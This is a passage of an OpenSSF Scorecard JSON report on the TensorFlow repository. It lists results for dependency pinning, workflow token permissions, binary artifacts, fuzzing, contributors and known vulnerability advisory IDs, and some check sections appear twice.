ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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tool.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dependency-update-tool"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:30","Info: jobLevel 'contents' permission set to 'read': .github/workflows/issue-on-pr-rollback.yml:28","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/update-nightly.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-cd.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended-cpp.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci-extended.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/arm-ci.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: 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by hash: .github/workflows/pylint-presubmit.yml:47","Info:  19 out of  19 GitHub-owned GitHubAction dependencies pinned","Info:   6 out of   6 third-party GitHubAction dependencies pinned","Info:  12 out of  59 containerImage dependencies pinned","Info:   2 out of 121 pipCommand dependencies pinned","Info:   0 out of   4 downloadThenRun dependencies pinned","Info:   0 out of   2 goCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/abs_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/acos_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/acosh_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/add_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/constant_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/dataFormatVecPermute_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/immutableConst_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/python_fuzzing.py:17","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/raggedCountSparseOutput_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/sparseCountSparseOutput_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/tf2migration_fuzz.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#fuzzing"}},{"name":"CI-Tests","score":9,"reason":"27 out of 28 merged PRs checked by a CI test -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 21 contributing companies or organizations","details":["Info: found contributions from: NVIDIA, coredns, google, google brain, google germany gmbh, googlers, haskell-ro, https://github.com/google, iesl, iree-org, keras-team, llvm, moby, nvidia, openxla, ray-project @anyscale ex-@tensorflow, rosedu, scikit-learn, sosy-lab, tensorflow, xinutec"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#contributors"}},{"name":"Vulnerabilities","score":0,"reason":"42 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2014-14 / GHSA-652x-xj99-gmcc","Warn: Project is vulnerable to: GHSA-9hjg-9r4m-mvj7","Warn: Project is vulnerable to: GHSA-9wx4-h78v-vm56","Warn: Project is vulnerable to: PYSEC-2014-13 / GHSA-cfj3-7x9c-4p3h","Warn: Project is vulnerable to: PYSEC-2018-28 / GHSA-x84v-xcm2-53pg","Warn: Project is vulnerable to: GHSA-34jh-p97f-mpxf","Warn: Project is vulnerable to: PYSEC-2023-212 / GHSA-g4mx-q9vg-27p4","Warn: Project is vulnerable to: PYSEC-2023-207 / GHSA-gwvm-45gx-3cf8","Warn: Project is vulnerable to: PYSEC-2019-133 / GHSA-mh33-7rrq-662w","Warn: Project is vulnerable to: GHSA-pq67-6m6q-mj2v","Warn: Project is vulnerable to: PYSEC-2019-132 / GHSA-r64q-w8jr-g9qp","Warn: Project is vulnerable to: PYSEC-2023-192 / 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: 